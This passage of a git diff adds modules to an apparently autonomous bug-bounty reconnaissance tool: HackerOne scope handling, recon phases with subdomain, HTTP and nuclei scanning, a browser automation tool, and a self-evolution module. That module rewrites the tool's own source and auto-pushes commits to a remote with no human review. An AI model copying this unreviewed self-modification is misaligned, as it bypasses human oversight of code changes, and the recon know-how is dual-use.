null; +} + +// ── 3. Auto-syntax heal — actually fix common issues ── +// Auto-fix common syntax/errors in Phantom's own source +export async function autoHealSyntax() { + const results = []; + const files = [ + "phantom.mjs", + ...fs.readdirSync(resolve(PHANTOM_DIR, "lib")).filter(f => f.endsWith(".mjs")).map(f => `lib/${f}`), + ]; + + for (const file of files) { + const fp = resolve(PHANTOM_DIR, file); + if (!fs.existsSync(fp)) continue; + + try { + execSync(`node --check "${fp}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }); + continue; // syntax OK + } catch (e) { + // Syntax error — try to fix common issues + try { + const content = fs.readFileSync(fp, "utf-8"); + const stderr = e.stderr || e.message || ""; + let fixed = false; + + // Fix 1: trailing commas in non-module context (common in object literals) + if (stderr.includes("trailing comma") || stderr.includes("nexpected token")) { + const newContent = content.replace(/,(\s*[\n\r]+\s*[}\]])/g, '$1'); + if (newContent !== content) { + fs.writeFileSync(fp, newContent, "utf-8"); + try { + execSync(`node --check "${fp}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }); + fixed = true; + results.push({ file, fixed: true, error: "Fixed trailing commas" }); + continue; + } catch {} + } + } + + // Fix 2: unclosed string — look for unterminated string error + if (stderr.includes("Unterminated string") || stderr.includes("unterminated string")) { + const newContent = content.replace(/('''|"""|````)/g, (m) => m.slice(0, 3)); + if (newContent !== content) { + fs.writeFileSync(fp, newContent, "utf-8"); + try { + execSync(`node --check "${fp}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }); + fixed = true; + results.push({ file, fixed: true, error: "Fixed unterminated string" }); + continue; + } catch {} + } + } + + // Fix 3: missing closing brace or paren + if (stderr.includes("Unexpected end of input") || stderr.includes("missing )") || stderr.includes("missing }")) { + // Try adding closing braces + let newContent = content; + const opens = (content.match(/{/g) || []).length; + const closes = (content.match(/}/g) || []).length; + const opensP = (content.match(/\(/g) || []).length; + const closesP = (content.match(/\)/g) || []).length; + if (opens > closes) { + newContent += "\n" + "}".repeat(opens - closes); + } + if (opensP > closesP) { + newContent += "\n" + ")".repeat(opensP - closesP); + } + if (newContent !== content) { + fs.writeFileSync(fp, newContent, "utf-8"); + try { + execSync(`node --check "${fp}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }); + fixed = true; + results.push({ file, fixed: true, error: `Fixed unbalanced braces/parens` }); + continue; + } catch {} + } + } + + if (!fixed) { + results.push({ file, fixed: false, error: stderr.trim().slice(0, 100) || "Unknown syntax error" }); + } + } catch { + results.push({ file, fixed: false, error: "Cannot read file" }); + } + } + } + + return results; +} + +// ── 4. Auto-optimization scanner ── +// Scan Phantom source for optimization opportunities +export function scanOptimizations() { + const issues = []; + const mainPath = resolve(PHANTOM_DIR, "phantom.mjs"); + if (!fs.existsSync(mainPath)) return issues; + + const src = fs.readFileSync(mainPath, "utf-8"); + const lines = src.split("\n"); + + // Check for oversized functions + let fnStart = 0; + let braceCount = 0; + let inFn = false; + for (let i = 0; i < lines.length; i++) { + const l = lines[i]; + if (!inFn && l.match(/async\s+\w+\s*\(/)) { + fnStart = i; + inFn = true; + braceCount = (l.match(/{/g) || []).length - (l.match(/}/g) || []).length; + } else if (inFn) { + braceCount += (l.match(/{/g) || []).length - (l.match(/}/g) || []).length; + if (braceCount <= 0) { + const len = i - fnStart; + if (len > 100) { + issues.push({ line: fnStart + 1, type: "long_fn", detail: `Function at line ${fnStart + 1} is ${len} lines — consider splitting` }); + } + inFn = false; + } + } + } + + // Check for repeated patterns + const dynamicImportCount = (src.match(/import\("child_process"\)/g) || []).length; + if (dynamicImportCount > 3) { + issues.push({ line: 0, type: "repeated_import", detail: `Dynamic import("child_process") used ${dynamicImportCount} times — hoist to module scope` }); + } + + // Check for console.log vs structured logging + const consoleCount = (src.match(/console\.(log|error|warn)\(/g) || []).length; + if (consoleCount > 60) { + issues.push({ line: 0, type: "console_spam", detail: `${consoleCount} console.* calls — use structured logging` }); + } + + return issues; +} + +// ── 5. Run full evolution cycle ── +export async function autoEvolve() { + const st = loadState(); + const results = []; + + // Phase 1: Auto-detect missing wrappers + try { + const missing = detectMissingWrappers(); + if (missing.length > 0) { + const created = []; + for (const { bin, blueprint } of missing) { + try { + const path = generateWrapper(bin, blueprint); + st.wrappers.push({ bin, path, ts: new Date().toISOString() }); + created.push(bin); + results.push({ phase: "wrapper", bin, status: "created", path }); + } catch (e) { + results.push({ phase: "wrapper", bin, status: "error", error: e.message }); + } + } + // ── Git commit auto-generated wrappers ── + if (created.length > 0) { + const committed = gitCommit( + created.map(b => `lib/auto_tools/${b}.mjs`), + `🧬 auto-evolve: add ${created.length} tool wrapper(s): ${created.join(", ")}` + ); + if (committed) { + results.push({ phase: "git", status: "committed", files: created.length }); + } + } + } + } catch (e) { + results.push({ phase: "wrapper", status: "error", error: e.message }); + } + + // Phase 2: Syntax check and auto-heal + try { + const healResults = await autoHealSyntax(); + for (const r of healResults) { + results.push({ phase: "heal", file: r.file, status: r.fixed ? "fixed" : "failed", error: r.error }); + } + } catch (e) { + results.push({ phase: "heal", status: "error", error: e.message }); + } + + // Phase 3: Scan for optimizations + try { + const opts = scanOptimizations(); + for (const o of opts) { + results.push({ phase: "optimize", type: o.type, detail: o.detail, line: o.line }); + } + } catch (e) { + results.push({ phase: "optimize", status: "error", error: e.message }); + } + + // Phase 4: Self-syntax validation + try { + const { execSync } = await import("child_process"); + execSync(`node --check "${resolve(PHANTOM_DIR, "phantom.mjs")}"`, { encoding: "utf-8", timeout: 10000 }); + results.push({ phase: "validate", file: "phantom.mjs", status: "ok" }); + execSync(`node --check "${resolve(PHANTOM_DIR, "lib/tools.mjs")}"`, { encoding: "utf-8", timeout: 10000 }); + results.push({ phase: "validate", file: "lib/tools.mjs", status: "ok" }); + execSync(`node --check "${resolve(PHANTOM_DIR, "lib/runtime.mjs")}"`, { encoding: "utf-8", timeout: 10000 }); + results.push({ phase: "validate", file: "lib/runtime.mjs", status: "ok" }); + execSync(`node --check "${resolve(PHANTOM_DIR, "lib/evolve.mjs")}"`, { encoding: "utf-8", timeout: 10000 }); + results.push({ phase: "validate", file: "lib/evolve.mjs", status: "ok" }); + } catch (e) { + results.push({ phase: "validate", status: "error", error: e.stderr?.slice(0, 200) || e.message }); + } + + // Phase 5: Test gate — only suggest push if tests pass + try { + const { execSync } = await import("child_process"); + const testOut = execSync("node test/core.test.mjs", { cwd: PHANTOM_DIR, encoding: "utf-8", timeout: 30000 }).trim(); + const passMatch = testOut.match(/pass\s+(\d+)/); + const failMatch = testOut.match(/fail\s+(\d+)/); + const passed = passMatch ? parseInt(passMatch[1]) : 0; + const failed = failMatch ? parseInt(failMatch[1]) : 0; + results.push({ phase: "test", status: failed > 0 ? "failed" : "passed", passed, failed }); + + if (failed > 0) { + // Attempt auto-heal on test failures + try { + const { autoHealSyntax } = await import("./evolve.mjs"); + const healed = await autoHealSyntax(); + for (const h of healed) { + results.push({ phase: "heal_retry", file: h.file, status: h.fixed ? "fixed" : "failed", error: h.error }); + } + if (healed.some(h => h.fixed)) { + // Re-run tests after heal + const retryOut = execSync("node test/core.test.mjs", { cwd: PHANTOM_DIR, encoding: "utf-8", timeout: 30000 }).trim(); + const retryPass = retryOut.match(/pass\s+(\d+)/); + const retryFail = retryOut.match(/fail\s+(\d+)/); + const rPassed = retryPass ? parseInt(retryPass[1]) : 0; + const rFailed = retryFail ? parseInt(retryFail[1]) : 0; + results.push({ phase: "test_retry", status: rFailed > 0 ? "failed" : "passed", passed: rPassed, failed: rFailed }); + } + } catch { /* heal attempt failed */ } + } + } catch (e) { + results.push({ phase: "test", status: "error", error: e.stderr?.slice(0, 200) || e.message }); + } + + // Check readiness: have committed wrappers AND all tests passed? + const hasCommits = results.some(r => r.phase === "git" && r.status === "committed"); + const testsPassed = results.some(r => r.phase === "test" && r.status === "passed"); + const finalTestsOk = results.some(r => r.phase === "test_retry" && r.status === "passed") || testsPassed; + + if (hasCommits && finalTestsOk) { + const pushResult = gitPush(); + if (pushResult.pushed) { + results.push({ phase: "git", status: "pushed", summary: "✅ Auto-pushed to remote" }); + } else { + results.push({ phase: "git", status: pushResult.reason?.startsWith("alignment") ? "blocked" : "push_failed", + reason: pushResult.reason, summary: `⚠ Push skipped: ${pushResult.reason}` }); + } + } else if (hasCommits && !finalTestsOk) { + results.push({ phase: "git", status: "tests_failed", summary: "⚠ Not pushing — tests failing after changes" }); + } + + // Update state + st.generation++; + st.last_evolve = new Date().toISOString(); + st.patches = [...(st.patches || []), ...results.filter(r => r.phase === "heal")]; + saveState(st); + + return { generation: st.generation, results, wrappers_created: st.wrappers.length, errors_fixed: st.errors_fixed }; +} + +// ── Quick startup evolution check ── +export async function startupEvolve() { + const st = loadState(); + const results = { wrappers_checked: 0, wrappers_created: 0, issues: [] }; + + // Only run full evolution if more than 6 hours since last, or never run + const last = st.last_evolve ? new Date(st.last_evolve).getTime() : 0; + const sixHours = 6 * 60 * 60 * 1000; + if (Date.now() - last < sixHours && st.generation > 1) { + results.issues.push("skipped — recently evolved"); + return results; + } + + // Quick wrapper check + try { + const missing = detectMissingWrappers(); + results.wrappers_checked = missing.length; + const created = []; + for (const { bin, blueprint } of missing) { + try { + generateWrapper(bin, blueprint); + st.wrappers.push({ bin, path: resolve(AUTO_TOOLS_DIR, `${bin}.mjs`), ts: new Date().toISOString() }); + created.push(bin); + results.wrappers_created++; + } catch {} + } + // Git commit wrappers created at startup + if (created.length > 0) { + gitCommit(created.map(b => `lib/auto_tools/${b}.mjs`), "🧬 startup: add new auto-generated wrappers"); + const pushResult = gitPush(); + if (pushResult.pushed) results.push("auto-pushed"); + else if (pushResult.reason) results.push(`push: ${pushResult.reason}`); + } + } catch {} + + // Quick syntax check + try { + execSync(`node --check "${resolve(PHANTOM_DIR, "phantom.mjs")}"`, { encoding: "utf-8", timeout: 10000 }); + } catch (e) { + results.issues.push("syntax error in phantom.mjs"); + } + + // Ensure generated modules directory exists + const generatedDir = resolve(PHANTOM_DIR, "lib", "generated"); + if (!fs.existsSync(generatedDir)) fs.mkdirSync(generatedDir, { recursive: true }); + + if (results.wrappers_created > 0 || results.issues.length > 0) { + st.last_evolve = new Date().toISOString(); + st.generation++; + saveState(st); + } + + return results; +} + +export function getEvolveStatus() { + const st = loadState(); + return { + generation: st.generation, + wrappers_created: st.wrappers.length, + errors_fixed: st.errors_fixed, + patches_applied: st.patches.length, + last_evolve: st.last_evolve, + wrapper_list: st.wrappers, + recent_fixes: st.auto_fixes?.slice(-5), + }; +} + +// ── 7. SELF-HEAL: full auto-diagnose → fix → test → iterate ── +// Runs until clean or max attempts reached. +export async function selfHeal(options = {}) { + const maxAttempts = options.maxAttempts || 5; + const log = []; + const startTime = Date.now(); + + for (let attempt = 1; attempt <= maxAttempts; attempt++) { + const round = { attempt, checks: [], fixes: [], tests: [] }; + + // Phase 1: Syntax check all .mjs files + const mjsFiles = ["phantom.mjs", ...fs.readdirSync(resolve(PHANTOM_DIR, "lib")).filter(f => f.endsWith(".mjs")).map(f => `lib/${f}`)]; + let allClean = true; + for (const file of mjsFiles) { + const fp = resolve(PHANTOM_DIR, file); + if (!fs.existsSync(fp)) continue; + try { + execSync(`node --check "${fp}" 2>/dev/null`, { encoding: "utf-8", timeout: 10000 }); + round.checks.push({ file, status: "ok" }); + } catch { + allClean = false; + round.checks.push({ file, status: "error" }); + } + } + + // Phase 2: Auto-fix syntax issues + if (!allClean) { + const healResults = await autoHealSyntax(); + for (const r of healResults) { + round.fixes.push(r); + if (r.fixed) { + const st = loadState(); + st.patches.push(r); + st.errors_fixed = (st.errors_fixed || 0) + 1; + saveState(st); + } + } + // If nothing was fixed, break — can't heal further + if (!healResults.some(r => r.fixed)) { + log.push(round); + break; + } + } + + // Phase 3: Run tests + try { + const testOut = execSync("node test/core.test.mjs 2>/dev/null && echo 'TESTS_PASSED'", { + cwd: PHANTOM_DIR, encoding: "utf-8", timeout: 60000 + }).trim(); + const passed = testOut.includes("TESTS_PASSED"); + round.tests.push({ status: passed ? "passed" : "failed" }); + if (passed) { + log.push(round); + // If all clean and tests pass, commit and push + try { + const staged = execSync("git diff --cached --stat", { cwd: PHANTOM_DIR, encoding: "utf-8", timeout: 5000 }).trim(); + if (staged) { + const committed = gitCommit([], `🧬 self-heal: auto-fix ${round.fixes.filter(f => f.fixed).length} issue(s)`); + if (committed) { + const pushResult = gitPush(); + round.push = pushResult.pushed ? "pushed" : pushResult.reason || "push_failed"; + } + } + } catch {} + break; // done + } + } catch (e) { + round.tests.push({ status: "error", error: e.stderr?.slice(0, 200) || e.message }); + } + + log.push(round); + } + + // Update state + const st = loadState(); + st.last_evolve = new Date().toISOString(); + st.generation++; + saveState(st); + + return { + elapsed: Date.now() - startTime, + attempts: log.length, + clean: log[log.length - 1]?.tests?.some(t => t.status === "passed") || false, + log, + }; +} diff --git a/lib/logger.mjs b/lib/logger.mjs new file mode 100644 index 0000000000000000000000000000000000000000..c4c8d40d87f0a21ec69f404b618bbddef02f564d --- /dev/null +++ b/lib/logger.mjs @@ -0,0 +1,17 @@ +// Phantom — structured logger +// Provides log.output, log.ok, log.warn, log.error, log.info, log.art, log.cli +// Respects --quiet / PHANTOM_QUIET for info/art/debug suppression. + +const quiet = !!(process.env.PHANTOM_QUIET || process.argv.includes("--quiet") || process.argv.includes("-q")); + +export const log = { + art: quiet ? ()=>{} : console.log, + info: quiet ? ()=>{} : console.log, + ok: console.log, + warn: console.warn, + error: console.error, + debug: ()=>{}, + output: console.log, + raw: console.log, + cli: console.log, +}; diff --git a/lib/mission.mjs b/lib/mission.mjs new file mode 100644 index 0000000000000000000000000000000000000000..81092b16643f80ceb450cc003d76239f88cfe458 --- /dev/null +++ b/lib/mission.mjs @@ -0,0 +1,181 @@ +import fs from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; + +const MISSIONS_DIR = resolve(homedir(), ".config", "phantom", "missions"); + +export function createMission(program, scope) { + const id = `mission-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + const now = new Date().toISOString(); + + return { + id, + programName: program.name || program.handle, + programHandle: program.handle, + programUrl: program.url, + scope, + status: "planning", + objectives: [ + "Passive reconnaissance of in-scope assets", + "Active HTTP probing and technology detection", + "Vulnerability validation and reporting" + ], + restrictions: [], + createdAt: now, + updatedAt: now, + activityLog: [{ + timestamp: now, + action: "created", + details: `Mission created for ${program.name || program.handle} (${program.handle})` + }] + }; +} + +export function saveMission(mission) { + if (!fs.existsSync(MISSIONS_DIR)) fs.mkdirSync(MISSIONS_DIR, { recursive: true }); + const f = resolve(MISSIONS_DIR, `${mission.id}.json`); + fs.writeFileSync(f, JSON.stringify(mission, null, 2), "utf-8"); +} + +export function loadMission(missionId) { + const f = resolve(MISSIONS_DIR, `${missionId}.json`); + if (!fs.existsSync(f)) return null; + return JSON.parse(fs.readFileSync(f, "utf-8")); +} + +export function listMissions() { + if (!fs.existsSync(MISSIONS_DIR)) return []; + return fs.readdirSync(MISSIONS_DIR) + .filter(f => f.endsWith(".json")) + .map(f => { + const m = JSON.parse(fs.readFileSync(resolve(MISSIONS_DIR, f), "utf-8")); + return { + id: m.id, + programName: m.programName, + programHandle: m.programHandle, + status: m.status, + createdAt: m.createdAt, + updatedAt: m.updatedAt + }; + }); +} + +export function updateMissionStatus(missionId, status) { + const mission = loadMission(missionId); + if (!mission) return null; + mission.status = status; + mission.updatedAt = new Date().toISOString(); + saveMission(mission); + return mission; +} + +export function addMissionActivity(missionId, activity) { + const mission = loadMission(missionId); + if (!mission) return; + mission.activityLog = mission.activityLog || []; + mission.activityLog.push({ timestamp: new Date().toISOString(), ...activity }); + saveMission(mission); +} + +export function isInScope(target, mission) { + const normalized = normalizeTarget(target); + + for (const scopeEntry of mission.scope.inScope) { + if (scopeEntry.isWildcard) { + const base = scopeEntry.normalized.replace(/^\*\./, ""); + if (normalized === base || normalized.endsWith("." + base)) { + return { allowed: true, reason: "Matches wildcard scope", matchingScopeEntry: scopeEntry }; + } + } else if (normalized === scopeEntry.normalized) { + return { allowed: true, reason: "Exact match", matchingScopeEntry: scopeEntry }; + } + } + + return { allowed: false, reason: "Not in scope", matchingScopeEntry: null }; +} + +export function normalizeTarget(target) { + return target + .replace(/^https?:\/\//, "") + .replace(/\/.*$/, "") + .toLowerCase() + .trim(); +} + +export function generateReconPlan(mission) { + const targets = mission.scope.inScope.map(s => s.normalized); + return { + phases: [ + { + phase: 1, + name: "Passive Reconnaissance", + description: "Subdomain enumeration, DNS resolution", + targets, + tools: ["subfinder", "dnsx"] + }, + { + phase: 2, + name: "Active HTTP Probing", + description: "HTTP probing, technology detection", + targets, + tools: ["httpx"] + }, + { + phase: 3, + name: "Validation & Reporting", + description: "Validate findings, generate report", + targets, + tools: ["nuclei", "custom"] + } + ], + notes: [ + "Stage 1 only — NO active exploitation", + "Default deny for all targets not in scope", + "All findings saved per-target per-phase" + ] + }; +} + +export async function fetchProgramAndScope(handle) { + const { hackerTools } = await import("./tools.mjs"); + const result = await hackerTools.hackerone(`scope ${handle}`); + + const inScope = []; + const outScope = []; + + // The result has literal \n (backslash-n) as line separators between scope entries, + // and actual newlines within multi-line descriptions. + // First split by literal \n to get the logical lines. + const lines = result.split("\\n"); + let current = "in"; + + for (const line of lines) { + const trimmed = line.trim(); + // Check for section headers on the trimmed line + if (trimmed.includes("IN SCOPE")) current = "in"; + else if (trimmed.includes("OUT OF SCOPE")) current = "out"; + // Check for scope entries on the raw line (which preserves leading spaces) + else if (line.startsWith(" ") && trimmed.includes("(")) { + // Match: "identifier (TYPE) — description" (trimmed has no leading spaces) + const match = trimmed.match(/([^\s]+)\s+\(([^)]+)\)/); + if (match) { + const [, identifier, assetType] = match; + const entry = { + identifier, + normalized: identifier.replace(/^\*\./, "").toLowerCase(), + assetType, + isWildcard: identifier.startsWith("*."), + maxSeverity: "critical", + instruction: current === "out" ? "Not eligible" : "" + }; + if (current === "in") inScope.push(entry); + else outScope.push(entry); + } + } + } + + return { + program: { handle, name: handle, url: `https://hackerone.com/${handle}` }, + scope: { inScope, exclusions: outScope, restrictions: [] } + }; +} \ No newline at end of file diff --git a/lib/playwright-tool.mjs b/lib/playwright-tool.mjs new file mode 100644 index 0000000000000000000000000000000000000000..ad6006e77489dd7bd4f7ecdbc176c42b49aa4ce5 --- /dev/null +++ b/lib/playwright-tool.mjs @@ -0,0 +1,122 @@ +import { chromium } from 'playwright'; + +/** + * Perform browser automation actions on a given URL. + * @param {string} url - The URL to navigate to. + * @param {Array} actions - List of action objects: {type, selector, value, code}. + * Supported types: click, type, screenshot, evaluate. + * @returns {Object} Result object with overall success, navigation error, and per-action results. + */ +export default async function runTool(url, actions) { + // --- Input Validation --- + if (typeof url !== 'string' || url.trim() === '') { + throw new Error('A valid URL string is required'); + } + if (!Array.isArray(actions)) { + throw new Error('Actions must be an array'); + } + + // --- Launch Browser --- + const browser = await chromium.launch({ headless: true }); + const context = await browser.newContext(); + const page = await context.newPage(); + + // Set default timeout for all page operations (navigation, clicks, etc.) + const DEFAULT_TIMEOUT = 30000; + page.setDefaultTimeout(DEFAULT_TIMEOUT); + + const results = []; + let navigationError = null; + + try { + // --- Navigation --- + await page.goto(url, { waitUntil: 'networkidle', timeout: DEFAULT_TIMEOUT }); + } catch (err) { + navigationError = err.message; + } + + // --- Process each action (even if navigation failed) --- + for (const action of actions) { + const { type, selector, value, code } = action; + const actionResult = { + type, + selector: selector || null, + value: value || null, + code: code || null, + success: false, + data: null, + error: null, + }; + + // Skip action execution if navigation failed + if (navigationError) { + actionResult.error = 'Navigation failed, action skipped'; + results.push(actionResult); + continue; + } + + try { + switch (type) { + case 'click': { + if (!selector) throw new Error('Selector is required for click'); + await page.click(selector); + actionResult.success = true; + actionResult.data = `Clicked on "${selector}"`; + break; + } + + case 'type': { + if (!selector) throw new Error('Selector is required for type'); + if (value === undefined || value === null) throw new Error('Value is required for type'); + await page.fill(selector, String(value)); + actionResult.success = true; + actionResult.data = `Typed "${value}" into "${selector}"`; + break; + } + + case 'screenshot': { + const buffer = await page.screenshot({ fullPage: true }); + actionResult.data = buffer.toString('base64'); + actionResult.success = true; + break; + } + + case 'evaluate': { + if (typeof code !== 'string' || code.trim() === '') { + throw new Error('Valid JavaScript code string is required for evaluate'); + } + const evalResult = await page.evaluate(code); + // Ensure serializable result (basic handling for common cases) + actionResult.data = + evalResult !== undefined && evalResult !== null + ? typeof evalResult === 'object' + ? JSON.parse(JSON.stringify(evalResult)) + : evalResult + : null; + actionResult.success = true; + break; + } + + default: { + throw new Error(`Unsupported action type: "${type}"`); + } + } + } catch (err) { + actionResult.success = false; + actionResult.error = err.message; + } + + results.push(actionResult); + } + + // --- Cleanup --- + await browser.close(); + + // --- Build final response --- + const overallSuccess = !navigationError && results.every((r) => r.success); + return { + success: overallSuccess, + navigationError: navigationError, + results: results, + }; +} diff --git a/lib/recon-analysis.mjs b/lib/recon-analysis.mjs new file mode 100644 index 0000000000000000000000000000000000000000..230658a02c86c5e8f3bf7f96c4e2b128be11b630 --- /dev/null +++ b/lib/recon-analysis.mjs @@ -0,0 +1,350 @@ +import fs from "fs"; +import { resolve } from "path"; +import { homedir } from "os"; + +const MISSIONS_DIR = resolve(homedir(), ".config", "phantom", "missions"); + +function parseSubfinderOutput(output, target, phase) { + const results = []; + if (!output || typeof output !== "string") return results; + + for (const line of output.split("\n")) { + const trimmed = line.trim(); + if (!trimmed || trimmed.startsWith("[") || trimmed.startsWith("Error")) continue; + + const subdomain = trimmed.toLowerCase().replace(/^https?:\/\//, "").split("/")[0]; + if (subdomain && subdomain.includes(".")) { + results.push({ + type: "subdomain", + value: subdomain, + target, + phase, + source: "subfinder", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } + return results; +} + +function parseDnsxOutput(output, target, phase) { + const results = []; + if (!output || typeof output !== "string") return results; + + for (const line of output.split("\n")) { + const trimmed = line.trim(); + if (!trimmed) continue; + + try { + const parsed = JSON.parse(trimmed); + if (parsed.host) { + results.push({ + type: "dns_record", + name: parsed.host, + recordType: parsed.a ? "A" : parsed.aaaa ? "AAAA" : parsed.cname ? "CNAME" : parsed.txt ? "TXT" : parsed.mx ? "MX" : parsed.ns ? "NS" : "UNKNOWN", + value: parsed.a || parsed.aaaa || parsed.cname || parsed.txt || parsed.mx || parsed.ns || "", + target, + phase, + source: "dnsx", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } catch { + const parts = trimmed.split(/\s+/); + if (parts.length >= 3) { + results.push({ + type: "dns_record", + name: parts[0], + recordType: parts[1].toUpperCase(), + value: parts.slice(2).join(" "), + target, + phase, + source: "dnsx", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } + } + return results; +} + +function parseHttpxOutput(output, target, phase) { + const results = []; + if (!output || typeof output !== "string") return results; + + for (const line of output.split("\n")) { + const trimmed = line.trim(); + if (!trimmed) continue; + + try { + const parsed = JSON.parse(trimmed); + if (parsed.url) { + results.push({ + type: "http_service", + url: parsed.url, + statusCode: parsed.status_code, + contentLength: parsed.content_length, + technology: parsed.tech ? parsed.tech.map(t => t.toLowerCase()) : [], + title: parsed.title || "", + webServer: parsed.webserver || "", + target, + phase, + source: "httpx", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } catch { + const urlMatch = trimmed.match(/https?:\/\/[^\s]+/); + if (urlMatch) { + results.push({ + type: "http_service", + url: urlMatch[0], + target, + phase, + source: "httpx", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } + } + return results; +} + +function parseNucleiOutput(output, target, phase) { + const results = []; + if (!output || typeof output !== "string") return results; + + for (const line of output.split("\n")) { + const trimmed = line.trim(); + if (!trimmed) continue; + + try { + const parsed = JSON.parse(trimmed); + if (parsed.template_id) { + results.push({ + type: "security_metadata", + templateId: parsed.template_id, + severity: parsed.info?.severity || "info", + name: parsed.info?.name || "", + description: parsed.info?.description || "", + matchedAt: parsed.matched_at, + target, + phase, + source: "nuclei", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } catch { + const sevMatch = trimmed.match(/\[(critical|high|medium|low|info)\]/i); + if (sevMatch) { + results.push({ + type: "security_metadata", + raw: trimmed, + severity: sevMatch[1].toLowerCase(), + target, + phase, + source: "nuclei", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } + } + return results; +} + +function parseTLSOutput(output, target, phase) { + const results = []; + if (!output || typeof output !== "string") return results; + + try { + const parsed = JSON.parse(output); + if (parsed.subject || parsed.issuer || parsed.notAfter || parsed.notBefore || parsed.sans) { + results.push({ + type: "tls_certificate", + subject: parsed.subject || "", + issuer: parsed.issuer || "", + notBefore: parsed.notBefore || "", + notAfter: parsed.notAfter || "", + sans: parsed.sans || [], + fingerprint: parsed.fingerprint || "", + target, + phase, + source: "tlsx", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } catch { + // Text format - minimal parsing + const certMatch = output.match(/subject=(.+)/i) || output.match(/issuer=(.+)/i); + if (certMatch) { + results.push({ + type: "tls_certificate", + raw: output, + target, + phase, + source: "tlsx", + timestamp: new Date().toISOString(), + status: "success" + }); + } + } + return results; +} + +function parseTechnologyOutput(output, target, phase, source) { + const results = []; + if (!output || typeof output !== "string") return results; + + const techPatterns = [ + /nginx\/[\d.]+/gi, /apache\/[\d.]+/gi, /iis\/[\d.]+/gi, /openresty\/[\d.]+/gi, + /cloudflare/gi, /aws/gi, /google/gi, /microsoft/gi, /cloudfront/gi, /akamai/gi, + /wordpress/gi, /drupal/gi, /joomla/gi, /magento/gi, + /php\/[\d.]+/gi, /python\/[\d.]+/gi, /node\.js/gi, /express/gi, /django/gi, /rails/gi, /laravel/gi, + /react/gi, /vue/gi, /angular/gi, /next\.js/gi, /nuxt/gi, + /kubernetes/gi, /docker/gi, /traefik/gi, /envoy/gi, /haproxy/gi, + /postgresql/gi, /mysql/gi, /mongodb/gi, /redis/gi, + /grafana/gi, /prometheus/gi, /kibana/gi, + /jenkins/gi, /gitlab/gi, /github/gi, /bitbucket/gi, + /ssh/gi, /ftp/gi, /smtp/gi, /imap/gi + ]; + + for (const pattern of techPatterns) { + const matches = output.match(pattern); + if (matches) { + for (const match of matches) { + results.push({ + type: "technology", + name: match.toLowerCase(), + source, + target, + phase, + timestamp: new Date().toISOString(), + status: "success" + }); + } + } + } + return results; +} + +export function normalizeObservations(missionId) { + const missionDir = resolve(MISSIONS_DIR, missionId); + if (!fs.existsSync(missionDir)) { + return { observations: [], errors: ["Mission directory not found"] }; + } + + const observations = []; + const errors = []; + + const phaseDirs = ["phase1_passive", "phase2_active", "phase3_validation"]; + + for (const phaseDir of phaseDirs) { + const dir = resolve(missionDir, phaseDir); + if (!fs.existsSync(dir)) continue; + + const files = fs.readdirSync(dir).filter(f => f.endsWith(".json")); + + for (const file of files) { + try { + const content = JSON.parse(fs.readFileSync(resolve(dir, file), "utf-8")); + const result = content.result; + const tool = content.tool; + const target = content.target; + const phase = content.phase; + const savedAt = content.savedAt; + + if (!result) continue; + + let parsed = []; + switch (tool) { + case "subfinder": + parsed = parseSubfinderOutput(result, target, phase); + break; + case "dnsx": + parsed = parseDnsxOutput(result, target, phase); + break; + case "httpx": + parsed = parseHttpxOutput(result, target, phase); + break; + case "nuclei": + parsed = parseNucleiOutput(result, target, phase); + break; + case "tlsx": + parsed = parseTLSOutput(result, target, phase); + break; + case "whatweb": + case "wappalyzer": + case "techdetect": + parsed = parseTechnologyOutput(result, target, phase, tool); + break; + } + + // Extract technologies from any tool output + if (typeof result === "string") { + parsed.push(...parseTechnologyOutput(result, target, phase, tool)); + } + + // Add savedAt timestamp if available + for (const obs of parsed) { + if (savedAt) obs.savedAt = savedAt; + } + + observations.push(...parsed); + } catch (e) { + errors.push({ file, error: e.message }); + } + } + } + + // Also parse error files to capture failed tool status + const errorsDir = resolve(missionDir, "errors"); + if (fs.existsSync(errorsDir)) { + const errorFiles = fs.readdirSync(errorsDir); + for (const file of errorFiles) { + try { + const content = JSON.parse(fs.readFileSync(resolve(errorsDir, file), "utf-8")); + observations.push({ + type: "error", + tool: content.tool, + target: content.target, + phase: content.phase, + error: content.error, + timestamp: content.timestamp, + status: "error" + }); + } catch { + // Ignore parse errors in error files + } + } + } + + return { observations, errors }; +} + +export function loadMissionResults(missionId) { + const { observations, errors } = normalizeObservations(missionId); + return observations; +} + +export function loadMissionErrors(missionId) { + const { observations } = normalizeObservations(missionId); + return observations.filter(o => o.status === "error"); +} + +export function getObservationsByType(missionId, type) { + const { observations } = normalizeObservations(missionId); + return observations.filter(o => o.type === type && o.status === "success"); +} + +export function getObservationsByPhase(missionId, phase) { + const { observations } = normalizeObservations(missionId); + return observations.filter(o => o.phase === phase && o.status === "success"); +} \ No newline at end of file diff --git a/lib/recon-intelligence.mjs b/lib/recon-intelligence.mjs new file mode 100644 index 0000000000000000000000000000000000000000..3c872014634fbcd3bbd140eb754b49c26c99bdec --- /dev/null +++ b/lib/recon-intelligence.mjs @@ -0,0 +1,388 @@ +import { normalizeObservations, getObservationsByType, getObservationsByPhase, loadMissionResults, loadMissionErrors } from "./recon-analysis.mjs"; +import { loadLearning, getLearningStats, getSuccessfulTechniques, getToolFailureRates, getDiscoveryMethods, getFalsePositivePatterns, getMissionLearning, sanitize } from "./recon-learning.mjs"; + +export function getMissionObservationSummary(missionId) { + const { observations } = normalizeObservations(missionId); + + const summary = { + missionId, + timestamp: new Date().toISOString(), + counts: { + subdomains: 0, + dnsRecords: 0, + httpServices: 0, + tlsCertificates: 0, + technologies: 0, + securityMetadata: 0, + errors: 0 + }, + byPhase: { + 1: { subdomains: 0, dnsRecords: 0, httpServices: 0, technologies: 0, securityMetadata: 0, errors: 0 }, + 2: { subdomains: 0, dnsRecords: 0, httpServices: 0, technologies: 0, securityMetadata: 0, errors: 0 }, + 3: { subdomains: 0, dnsRecords: 0, httpServices: 0, 